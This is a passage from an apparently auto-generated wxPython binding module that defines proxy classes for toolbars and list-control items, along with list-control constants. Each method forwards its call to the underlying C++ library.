\n_controls_.ToolBarToolBase_swigregister(ToolBarToolBase)\n\nclass ToolBarBase(_core.Control):\n \"\"\"Proxy of C++ ToolBarBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def DoAddTool(*args, **kwargs):\n \"\"\"\n DoAddTool(self, int id, String label, Bitmap bitmap, Bitmap bmpDisabled=wxNullBitmap, \n int kind=ITEM_NORMAL, String shortHelp=EmptyString, \n String longHelp=EmptyString, \n PyObject clientData=None) -> ToolBarToolBase\n \"\"\"\n return _controls_.ToolBarBase_DoAddTool(*args, **kwargs)\n\n def DoInsertTool(*args, **kwargs):\n \"\"\"\n DoInsertTool(self, size_t pos, int id, String label, Bitmap bitmap, Bitmap bmpDisabled=wxNullBitmap, \n int kind=ITEM_NORMAL, \n String shortHelp=EmptyString, String longHelp=EmptyString, \n PyObject clientData=None) -> ToolBarToolBase\n \"\"\"\n return _controls_.ToolBarBase_DoInsertTool(*args, **kwargs)\n\n # These match the original Add methods for this class, kept for\n # backwards compatibility with versions < 2.3.3.\n\n\n def AddTool(self, id, bitmap,\n pushedBitmap = wx.NullBitmap,\n isToggle = 0,\n clientData = None,\n shortHelpString = '',\n longHelpString = '') :\n '''Old style method to add a tool to the toolbar.'''\n kind = wx.ITEM_NORMAL\n if isToggle: kind = wx.ITEM_CHECK\n return self.DoAddTool(id, '', bitmap, pushedBitmap, kind,\n shortHelpString, longHelpString, clientData)\n\n def AddSimpleTool(self, id, bitmap,\n shortHelpString = '',\n longHelpString = '',\n isToggle = 0):\n '''Old style method to add a tool to the toolbar.'''\n kind = wx.ITEM_NORMAL\n if isToggle: kind = wx.ITEM_CHECK\n return self.DoAddTool(id, '', bitmap, wx.NullBitmap, kind,\n shortHelpString, longHelpString, None)\n\n def InsertTool(self, pos, id, bitmap,\n pushedBitmap = wx.NullBitmap,\n isToggle = 0,\n clientData = None,\n shortHelpString = '',\n longHelpString = ''):\n '''Old style method to insert a tool in the toolbar.'''\n kind = wx.ITEM_NORMAL\n if isToggle: kind = wx.ITEM_CHECK\n return self.DoInsertTool(pos, id, '', bitmap, pushedBitmap, kind,\n shortHelpString, longHelpString, clientData)\n\n def InsertSimpleTool(self, pos, id, bitmap,\n shortHelpString = '',\n longHelpString = '',\n isToggle = 0):\n '''Old style method to insert a tool in the toolbar.'''\n kind = wx.ITEM_NORMAL\n if isToggle: kind = wx.ITEM_CHECK\n return self.DoInsertTool(pos, id, '', bitmap, wx.NullBitmap, kind,\n shortHelpString, longHelpString, None)\n\n\n # The following are the new toolbar Add methods starting with\n # 2.3.3. They are renamed to have 'Label' in the name so as to be\n # able to keep backwards compatibility with using the above\n # methods. Eventually these should migrate to be the methods used\n # primarily and lose the 'Label' in the name...\n\n def AddLabelTool(self, id, label, bitmap,\n bmpDisabled = wx.NullBitmap,\n kind = wx.ITEM_NORMAL,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''\n The full AddTool() function.\n\n If bmpDisabled is wx.NullBitmap, a shadowed version of the normal bitmap\n is created and used as the disabled image.\n '''\n return self.DoAddTool(id, label, bitmap, bmpDisabled, kind,\n shortHelp, longHelp, clientData)\n\n\n def InsertLabelTool(self, pos, id, label, bitmap,\n bmpDisabled = wx.NullBitmap,\n kind = wx.ITEM_NORMAL,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''\n Insert the new tool at the given position, if pos == GetToolsCount(), it\n is equivalent to AddTool()\n '''\n return self.DoInsertTool(pos, id, label, bitmap, bmpDisabled, kind,\n shortHelp, longHelp, clientData)\n\n def AddCheckLabelTool(self, id, label, bitmap,\n bmpDisabled = wx.NullBitmap,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''Add a check tool, i.e. a tool which can be toggled'''\n return self.DoAddTool(id, label, bitmap, bmpDisabled, wx.ITEM_CHECK,\n shortHelp, longHelp, clientData)\n\n def AddRadioLabelTool(self, id, label, bitmap,\n bmpDisabled = wx.NullBitmap,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''\n Add a radio tool, i.e. a tool which can be toggled and releases any\n other toggled radio tools in the same group when it happens\n '''\n return self.DoAddTool(id, label, bitmap, bmpDisabled, wx.ITEM_RADIO,\n shortHelp, longHelp, clientData)\n\n\n # For consistency with the backwards compatible methods above, here are\n # some non-'Label' versions of the Check and Radio methods\n\n def AddCheckTool(self, id, bitmap,\n bmpDisabled = wx.NullBitmap,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''Add a check tool, i.e. a tool which can be toggled'''\n return self.DoAddTool(id, '', bitmap, bmpDisabled, wx.ITEM_CHECK,\n shortHelp, longHelp, clientData)\n\n def AddRadioTool(self, id, bitmap,\n bmpDisabled = wx.NullBitmap,\n shortHelp = '', longHelp = '',\n clientData = None):\n '''\n Add a radio tool, i.e. a tool which can be toggled and releases any\n other toggled radio tools in the same group when it happens\n '''\n return self.DoAddTool(id, '', bitmap, bmpDisabled, wx.ITEM_RADIO,\n shortHelp, longHelp, clientData)\n\n def AddToolItem(*args, **kwargs):\n \"\"\"AddToolItem(self, ToolBarToolBase tool) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_AddToolItem(*args, **kwargs)\n\n def InsertToolItem(*args, **kwargs):\n \"\"\"InsertToolItem(self, size_t pos, ToolBarToolBase tool) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_InsertToolItem(*args, **kwargs)\n\n def AddControl(*args, **kwargs):\n \"\"\"AddControl(self, Control control) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_AddControl(*args, **kwargs)\n\n def InsertControl(*args, **kwargs):\n \"\"\"InsertControl(self, size_t pos, Control control) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_InsertControl(*args, **kwargs)\n\n def FindControl(*args, **kwargs):\n \"\"\"FindControl(self, int id) -> Control\"\"\"\n return _controls_.ToolBarBase_FindControl(*args, **kwargs)\n\n def AddSeparator(*args, **kwargs):\n \"\"\"AddSeparator(self) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_AddSeparator(*args, **kwargs)\n\n def InsertSeparator(*args, **kwargs):\n \"\"\"InsertSeparator(self, size_t pos) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_InsertSeparator(*args, **kwargs)\n\n def RemoveTool(*args, **kwargs):\n \"\"\"RemoveTool(self, int id) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_RemoveTool(*args, **kwargs)\n\n def DeleteToolByPos(*args, **kwargs):\n \"\"\"DeleteToolByPos(self, size_t pos) -> bool\"\"\"\n return _controls_.ToolBarBase_DeleteToolByPos(*args, **kwargs)\n\n def DeleteTool(*args, **kwargs):\n \"\"\"DeleteTool(self, int id) -> bool\"\"\"\n return _controls_.ToolBarBase_DeleteTool(*args, **kwargs)\n\n def ClearTools(*args, **kwargs):\n \"\"\"ClearTools(self)\"\"\"\n return _controls_.ToolBarBase_ClearTools(*args, **kwargs)\n\n def Realize(*args, **kwargs):\n \"\"\"Realize(self) -> bool\"\"\"\n return _controls_.ToolBarBase_Realize(*args, **kwargs)\n\n def EnableTool(*args, **kwargs):\n \"\"\"EnableTool(self, int id, bool enable)\"\"\"\n return _controls_.ToolBarBase_EnableTool(*args, **kwargs)\n\n def ToggleTool(*args, **kwargs):\n \"\"\"ToggleTool(self, int id, bool toggle)\"\"\"\n return _controls_.ToolBarBase_ToggleTool(*args, **kwargs)\n\n def SetToggle(*args, **kwargs):\n \"\"\"SetToggle(self, int id, bool toggle)\"\"\"\n return _controls_.ToolBarBase_SetToggle(*args, **kwargs)\n\n def GetToolClientData(*args, **kwargs):\n \"\"\"GetToolClientData(self, int id) -> PyObject\"\"\"\n return _controls_.ToolBarBase_GetToolClientData(*args, **kwargs)\n\n def SetToolClientData(*args, **kwargs):\n \"\"\"SetToolClientData(self, int id, PyObject clientData)\"\"\"\n return _controls_.ToolBarBase_SetToolClientData(*args, **kwargs)\n\n def GetToolPos(*args, **kwargs):\n \"\"\"GetToolPos(self, int id) -> int\"\"\"\n return _controls_.ToolBarBase_GetToolPos(*args, **kwargs)\n\n def GetToolState(*args, **kwargs):\n \"\"\"GetToolState(self, int id) -> bool\"\"\"\n return _controls_.ToolBarBase_GetToolState(*args, **kwargs)\n\n def GetToolEnabled(*args, **kwargs):\n \"\"\"GetToolEnabled(self, int id) -> bool\"\"\"\n return _controls_.ToolBarBase_GetToolEnabled(*args, **kwargs)\n\n def SetToolShortHelp(*args, **kwargs):\n \"\"\"SetToolShortHelp(self, int id, String helpString)\"\"\"\n return _controls_.ToolBarBase_SetToolShortHelp(*args, **kwargs)\n\n def GetToolShortHelp(*args, **kwargs):\n \"\"\"GetToolShortHelp(self, int id) -> String\"\"\"\n return _controls_.ToolBarBase_GetToolShortHelp(*args, **kwargs)\n\n def SetToolLongHelp(*args, **kwargs):\n \"\"\"SetToolLongHelp(self, int id, String helpString)\"\"\"\n return _controls_.ToolBarBase_SetToolLongHelp(*args, **kwargs)\n\n def GetToolLongHelp(*args, **kwargs):\n \"\"\"GetToolLongHelp(self, int id) -> String\"\"\"\n return _controls_.ToolBarBase_GetToolLongHelp(*args, **kwargs)\n\n def SetMarginsXY(*args, **kwargs):\n \"\"\"SetMarginsXY(self, int x, int y)\"\"\"\n return _controls_.ToolBarBase_SetMarginsXY(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"SetMargins(self, Size size)\"\"\"\n return _controls_.ToolBarBase_SetMargins(*args, **kwargs)\n\n def SetToolPacking(*args, **kwargs):\n \"\"\"SetToolPacking(self, int packing)\"\"\"\n return _controls_.ToolBarBase_SetToolPacking(*args, **kwargs)\n\n def SetToolSeparation(*args, **kwargs):\n \"\"\"SetToolSeparation(self, int separation)\"\"\"\n return _controls_.ToolBarBase_SetToolSeparation(*args, **kwargs)\n\n def GetToolMargins(*args, **kwargs):\n \"\"\"GetToolMargins(self) -> Size\"\"\"\n return _controls_.ToolBarBase_GetToolMargins(*args, **kwargs)\n\n def GetMargins(*args, **kwargs):\n \"\"\"GetMargins(self) -> Size\"\"\"\n return _controls_.ToolBarBase_GetMargins(*args, **kwargs)\n\n def GetToolPacking(*args, **kwargs):\n \"\"\"GetToolPacking(self) -> int\"\"\"\n return _controls_.ToolBarBase_GetToolPacking(*args, **kwargs)\n\n def GetToolSeparation(*args, **kwargs):\n \"\"\"GetToolSeparation(self) -> int\"\"\"\n return _controls_.ToolBarBase_GetToolSeparation(*args, **kwargs)\n\n def SetRows(*args, **kwargs):\n \"\"\"SetRows(self, int nRows)\"\"\"\n return _controls_.ToolBarBase_SetRows(*args, **kwargs)\n\n def SetMaxRowsCols(*args, **kwargs):\n \"\"\"SetMaxRowsCols(self, int rows, int cols)\"\"\"\n return _controls_.ToolBarBase_SetMaxRowsCols(*args, **kwargs)\n\n def GetMaxRows(*args, **kwargs):\n \"\"\"GetMaxRows(self) -> int\"\"\"\n return _controls_.ToolBarBase_GetMaxRows(*args, **kwargs)\n\n def GetMaxCols(*args, **kwargs):\n \"\"\"GetMaxCols(self) -> int\"\"\"\n return _controls_.ToolBarBase_GetMaxCols(*args, **kwargs)\n\n def SetToolBitmapSize(*args, **kwargs):\n \"\"\"SetToolBitmapSize(self, Size size)\"\"\"\n return _controls_.ToolBarBase_SetToolBitmapSize(*args, **kwargs)\n\n def GetToolBitmapSize(*args, **kwargs):\n \"\"\"GetToolBitmapSize(self) -> Size\"\"\"\n return _controls_.ToolBarBase_GetToolBitmapSize(*args, **kwargs)\n\n def GetToolSize(*args, **kwargs):\n \"\"\"GetToolSize(self) -> Size\"\"\"\n return _controls_.ToolBarBase_GetToolSize(*args, **kwargs)\n\n def FindToolForPosition(*args, **kwargs):\n \"\"\"FindToolForPosition(self, int x, int y) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_FindToolForPosition(*args, **kwargs)\n\n def FindById(*args, **kwargs):\n \"\"\"FindById(self, int toolid) -> ToolBarToolBase\"\"\"\n return _controls_.ToolBarBase_FindById(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.ToolBarBase_IsVertical(*args, **kwargs)\n\n def GetToolsCount(*args, **kwargs):\n \"\"\"GetToolsCount(self) -> size_t\"\"\"\n return _controls_.ToolBarBase_GetToolsCount(*args, **kwargs)\n\n Margins = property(GetMargins,SetMargins,doc=\"See `GetMargins` and `SetMargins`\") \n MaxCols = property(GetMaxCols,doc=\"See `GetMaxCols`\") \n MaxRows = property(GetMaxRows,doc=\"See `GetMaxRows`\") \n ToolBitmapSize = property(GetToolBitmapSize,SetToolBitmapSize,doc=\"See `GetToolBitmapSize` and `SetToolBitmapSize`\") \n ToolMargins = property(GetToolMargins,doc=\"See `GetToolMargins`\") \n ToolPacking = property(GetToolPacking,SetToolPacking,doc=\"See `GetToolPacking` and `SetToolPacking`\") \n ToolSeparation = property(GetToolSeparation,SetToolSeparation,doc=\"See `GetToolSeparation` and `SetToolSeparation`\") \n ToolSize = property(GetToolSize,doc=\"See `GetToolSize`\") \n ToolsCount = property(GetToolsCount,doc=\"See `GetToolsCount`\") \n_controls_.ToolBarBase_swigregister(ToolBarBase)\n\nclass ToolBar(ToolBarBase):\n \"\"\"Proxy of C++ ToolBar class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=wxNO_BORDER|wxTB_HORIZONTAL, \n String name=wxPyToolBarNameStr) -> ToolBar\n \"\"\"\n _controls_.ToolBar_swiginit(self,_controls_.new_ToolBar(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=wxNO_BORDER|wxTB_HORIZONTAL, \n String name=wxPyToolBarNameStr) -> bool\n \"\"\"\n return _controls_.ToolBar_Create(*args, **kwargs)\n\n def SetToolNormalBitmap(*args, **kwargs):\n \"\"\"SetToolNormalBitmap(self, int id, Bitmap bitmap)\"\"\"\n return _controls_.ToolBar_SetToolNormalBitmap(*args, **kwargs)\n\n def SetToolDisabledBitmap(*args, **kwargs):\n \"\"\"SetToolDisabledBitmap(self, int id, Bitmap bitmap)\"\"\"\n return _controls_.ToolBar_SetToolDisabledBitmap(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ToolBar_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.ToolBar_swigregister(ToolBar)\n\ndef PreToolBar(*args, **kwargs):\n \"\"\"PreToolBar() -> ToolBar\"\"\"\n val = _controls_.new_PreToolBar(*args, **kwargs)\n return val\n\ndef ToolBar_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ToolBar_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ToolBar_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nLC_VRULES = _controls_.LC_VRULES\nLC_HRULES = _controls_.LC_HRULES\nLC_ICON = _controls_.LC_ICON\nLC_SMALL_ICON = _controls_.LC_SMALL_ICON\nLC_LIST = _controls_.LC_LIST\nLC_REPORT = _controls_.LC_REPORT\nLC_ALIGN_TOP = _controls_.LC_ALIGN_TOP\nLC_ALIGN_LEFT = _controls_.LC_ALIGN_LEFT\nLC_AUTOARRANGE = _controls_.LC_AUTOARRANGE\nLC_VIRTUAL = _controls_.LC_VIRTUAL\nLC_EDIT_LABELS = _controls_.LC_EDIT_LABELS\nLC_NO_HEADER = _controls_.LC_NO_HEADER\nLC_NO_SORT_HEADER = _controls_.LC_NO_SORT_HEADER\nLC_SINGLE_SEL = _controls_.LC_SINGLE_SEL\nLC_SORT_ASCENDING = _controls_.LC_SORT_ASCENDING\nLC_SORT_DESCENDING = _controls_.LC_SORT_DESCENDING\nLC_MASK_TYPE = _controls_.LC_MASK_TYPE\nLC_MASK_ALIGN = _controls_.LC_MASK_ALIGN\nLC_MASK_SORT = _controls_.LC_MASK_SORT\nLIST_MASK_STATE = _controls_.LIST_MASK_STATE\nLIST_MASK_TEXT = _controls_.LIST_MASK_TEXT\nLIST_MASK_IMAGE = _controls_.LIST_MASK_IMAGE\nLIST_MASK_DATA = _controls_.LIST_MASK_DATA\nLIST_SET_ITEM = _controls_.LIST_SET_ITEM\nLIST_MASK_WIDTH = _controls_.LIST_MASK_WIDTH\nLIST_MASK_FORMAT = _controls_.LIST_MASK_FORMAT\nLIST_STATE_DONTCARE = _controls_.LIST_STATE_DONTCARE\nLIST_STATE_DROPHILITED = _controls_.LIST_STATE_DROPHILITED\nLIST_STATE_FOCUSED = _controls_.LIST_STATE_FOCUSED\nLIST_STATE_SELECTED = _controls_.LIST_STATE_SELECTED\nLIST_STATE_CUT = _controls_.LIST_STATE_CUT\nLIST_STATE_DISABLED = _controls_.LIST_STATE_DISABLED\nLIST_STATE_FILTERED = _controls_.LIST_STATE_FILTERED\nLIST_STATE_INUSE = _controls_.LIST_STATE_INUSE\nLIST_STATE_PICKED = _controls_.LIST_STATE_PICKED\nLIST_STATE_SOURCE = _controls_.LIST_STATE_SOURCE\nLIST_HITTEST_ABOVE = _controls_.LIST_HITTEST_ABOVE\nLIST_HITTEST_BELOW = _controls_.LIST_HITTEST_BELOW\nLIST_HITTEST_NOWHERE = _controls_.LIST_HITTEST_NOWHERE\nLIST_HITTEST_ONITEMICON = _controls_.LIST_HITTEST_ONITEMICON\nLIST_HITTEST_ONITEMLABEL = _controls_.LIST_HITTEST_ONITEMLABEL\nLIST_HITTEST_ONITEMRIGHT = _controls_.LIST_HITTEST_ONITEMRIGHT\nLIST_HITTEST_ONITEMSTATEICON = _controls_.LIST_HITTEST_ONITEMSTATEICON\nLIST_HITTEST_TOLEFT = _controls_.LIST_HITTEST_TOLEFT\nLIST_HITTEST_TORIGHT = _controls_.LIST_HITTEST_TORIGHT\nLIST_HITTEST_ONITEM = _controls_.LIST_HITTEST_ONITEM\nLIST_GETSUBITEMRECT_WHOLEITEM = _controls_.LIST_GETSUBITEMRECT_WHOLEITEM\nLIST_NEXT_ABOVE = _controls_.LIST_NEXT_ABOVE\nLIST_NEXT_ALL = _controls_.LIST_NEXT_ALL\nLIST_NEXT_BELOW = _controls_.LIST_NEXT_BELOW\nLIST_NEXT_LEFT = _controls_.LIST_NEXT_LEFT\nLIST_NEXT_RIGHT = _controls_.LIST_NEXT_RIGHT\nLIST_ALIGN_DEFAULT = _controls_.LIST_ALIGN_DEFAULT\nLIST_ALIGN_LEFT = _controls_.LIST_ALIGN_LEFT\nLIST_ALIGN_TOP = _controls_.LIST_ALIGN_TOP\nLIST_ALIGN_SNAP_TO_GRID = _controls_.LIST_ALIGN_SNAP_TO_GRID\nLIST_FORMAT_LEFT = _controls_.LIST_FORMAT_LEFT\nLIST_FORMAT_RIGHT = _controls_.LIST_FORMAT_RIGHT\nLIST_FORMAT_CENTRE = _controls_.LIST_FORMAT_CENTRE\nLIST_FORMAT_CENTER = _controls_.LIST_FORMAT_CENTER\nLIST_AUTOSIZE = _controls_.LIST_AUTOSIZE\nLIST_AUTOSIZE_USEHEADER = _controls_.LIST_AUTOSIZE_USEHEADER\nLIST_RECT_BOUNDS = _controls_.LIST_RECT_BOUNDS\nLIST_RECT_ICON = _controls_.LIST_RECT_ICON\nLIST_RECT_LABEL = _controls_.LIST_RECT_LABEL\nLIST_FIND_UP = _controls_.LIST_FIND_UP\nLIST_FIND_DOWN = _controls_.LIST_FIND_DOWN\nLIST_FIND_LEFT = _controls_.LIST_FIND_LEFT\nLIST_FIND_RIGHT = _controls_.LIST_FIND_RIGHT\n#---------------------------------------------------------------------------\n\nclass ListItemAttr(object):\n \"\"\"Proxy of C++ ListItemAttr class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Colour colText=wxNullColour, Colour colBack=wxNullColour, \n Font font=wxNullFont) -> ListItemAttr\n \"\"\"\n _controls_.ListItemAttr_swiginit(self,_controls_.new_ListItemAttr(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_ListItemAttr\n __del__ = lambda self : None;\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _controls_.ListItemAttr_SetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _controls_.ListItemAttr_SetBackgroundColour(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font)\"\"\"\n return _controls_.ListItemAttr_SetFont(*args, **kwargs)\n\n def HasTextColour(*args, **kwargs):\n \"\"\"HasTextColour(self) -> bool\"\"\"\n return _controls_.ListItemAttr_HasTextColour(*args, **kwargs)\n\n def HasBackgroundColour(*args, **kwargs):\n \"\"\"HasBackgroundColour(self) -> bool\"\"\"\n return _controls_.ListItemAttr_HasBackgroundColour(*args, **kwargs)\n\n def HasFont(*args, **kwargs):\n \"\"\"HasFont(self) -> bool\"\"\"\n return _controls_.ListItemAttr_HasFont(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _controls_.ListItemAttr_GetTextColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _controls_.ListItemAttr_GetBackgroundColour(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _controls_.ListItemAttr_GetFont(*args, **kwargs)\n\n def AssignFrom(*args, **kwargs):\n \"\"\"AssignFrom(self, ListItemAttr source)\"\"\"\n return _controls_.ListItemAttr_AssignFrom(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"Destroy(self)\"\"\"\n args[0].this.own(False)\n return _controls_.ListItemAttr_Destroy(*args, **kwargs)\n\n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n_controls_.ListItemAttr_swigregister(ListItemAttr)\nListCtrlNameStr = cvar.ListCtrlNameStr\n\n#---------------------------------------------------------------------------\n\nclass ListItem(_core.Object):\n \"\"\"Proxy of C++ ListItem class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> ListItem\"\"\"\n _controls_.ListItem_swiginit(self,_controls_.new_ListItem(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_ListItem\n __del__ = lambda self : None;\n def Clear(*args, **kwargs):\n \"\"\"Clear(self)\"\"\"\n return _controls_.ListItem_Clear(*args, **kwargs)\n\n def ClearAttributes(*args, **kwargs):\n \"\"\"ClearAttributes(self)\"\"\"\n return _controls_.ListItem_ClearAttributes(*args, **kwargs)\n\n def SetMask(*args, **kwargs):\n \"\"\"SetMask(self, long mask)\"\"\"\n return _controls_.ListItem_SetMask(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"SetId(self, long id)\"\"\"\n return _controls_.ListItem_SetId(*args, **kwargs)\n\n def SetColumn(*args, **kwargs):\n \"\"\"SetColumn(self, int col)\"\"\"\n return _controls_.ListItem_SetColumn(*args, **kwargs)\n\n def SetState(*args, **kwargs):\n \"\"\"SetState(self, long state)\"\"\"\n return _controls_.ListItem_SetState(*args, **kwargs)\n\n def SetStateMask(*args, **kwargs):\n \"\"\"SetStateMask(self, long stateMask)\"\"\"\n return _controls_.ListItem_SetStateMask(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"SetText(self, String text)\"\"\"\n return _controls_.ListItem_SetText(*args, **kwargs)\n\n def SetImage(*args, **kwargs):\n \"\"\"SetImage(self, int image)\"\"\"\n return _controls_.ListItem_SetImage(*args, **kwargs)\n\n def SetData(*args, **kwargs):\n \"\"\"SetData(self, long data)\"\"\"\n return _controls_.ListItem_SetData(*args, **kwargs)\n\n def SetWidth(*args, **kwargs):\n \"\"\"SetWidth(self, int width)\"\"\"\n return _controls_.ListItem_SetWidth(*args, **kwargs)\n\n def SetAlign(*args, **kwargs):\n \"\"\"SetAlign(self, int align)\"\"\"\n return _controls_.ListItem_SetAlign(*args, **kwargs)\n\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _controls_.ListItem_SetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _controls_.ListItem_SetBackgroundColour(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font)\"\"\"\n return _controls_.ListItem_SetFont(*args, **kwargs)\n\n def GetMask(*args, **kwargs):\n \"\"\"GetMask(self) -> long\"\"\"\n return _controls_.ListItem_GetMask(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> long\"\"\"\n return _controls_.ListItem_GetId(*args, **kwargs)\n\n def GetColumn(*args, **kwargs):\n \"\"\"GetColumn(self) -> int\"\"\"\n return _controls_.ListItem_GetColumn(*args, **kwargs)\n\n def GetState(*args, **kwargs):\n \"\"\"GetState(self) -> long\"\"\"\n return _controls_.ListItem_GetState(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _controls_.ListItem_GetText(*args, **kwargs)\n\n def GetImage(*args, **kwargs):\n \"\"\"GetImage(self) -> int\"\"\"\n return _controls_.ListItem_GetImage(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> long\"\"\"\n return _controls_.ListItem_GetData(*args, **kwargs)\n\n def GetWidth(*args, **kwargs):\n \"\"\"GetWidth(self) -> int\"\"\"\n return _controls_.ListItem_GetWidth(*args, **kwargs)\n\n def GetAlign(*args, **kwargs):\n \"\"\"GetAlign(self) -> int\"\"\"\n return _controls_.ListItem_GetAlign(*args, **kwargs)\n\n def GetAttributes(*args, **kwargs):\n \"\"\"GetAttributes(self) -> ListItemAttr\"\"\"\n return _controls_.ListItem_GetAttributes(*args, **kwargs)\n\n def HasAttributes(*args, **kwargs):\n \"\"\"HasAttributes(self) -> bool\"\"\"\n return _controls_.ListItem_HasAttributes(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _controls_.ListItem_GetTextColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _controls_.ListItem_GetBackgroundColour(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _controls_.ListItem_GetFont(*args, **kwargs)\n\n m_mask = property(_controls_.ListItem_m_mask_get, _controls_.ListItem_m_mask_set)\n m_itemId = property(_controls_.ListItem_m_itemId_get, _controls_.ListItem_m_itemId_set)\n m_col = property(_controls_.ListItem_m_col_get, _controls_.ListItem_m_col_set)\n m_state = property(_controls_.ListItem_m_state_get, _controls_.ListItem_m_state_set)\n m_stateMask = property(_controls_.ListItem_m_stateMask_get, _controls_.ListItem_m_stateMask_set)\n m_text = property(_controls_.ListItem_m_text_get, _controls_.ListItem_m_text_set)\n m_image = property(_controls_.ListItem_m_image_get, _controls_.ListItem_m_image_set)\n m_data = property(_controls_.ListItem_m_data_get, _controls_.ListItem_m_data_set)\n m_format = property(_controls_.ListItem_m_format_get, _controls_.ListItem_m_format_set)\n m_width = property(_controls_.ListItem_m_width_get, _controls_.ListItem_m_width_set)\n Align = property(GetAlign,SetAlign,doc=\"See `GetAlign` and `SetAlign`\") \n Attributes = property(GetAttributes,doc=\"See `GetAttributes`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n Column = property(GetColumn,SetColumn,doc=\"See `GetColumn` and `SetColumn`\") \n Data = property(GetData,SetData,doc=\"See `GetData` and `SetData`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n Image = property(GetImage,SetImage,doc=\"See `GetImage` and `SetImage`\") \n Mask = property(GetMask,SetMask,doc=\"See 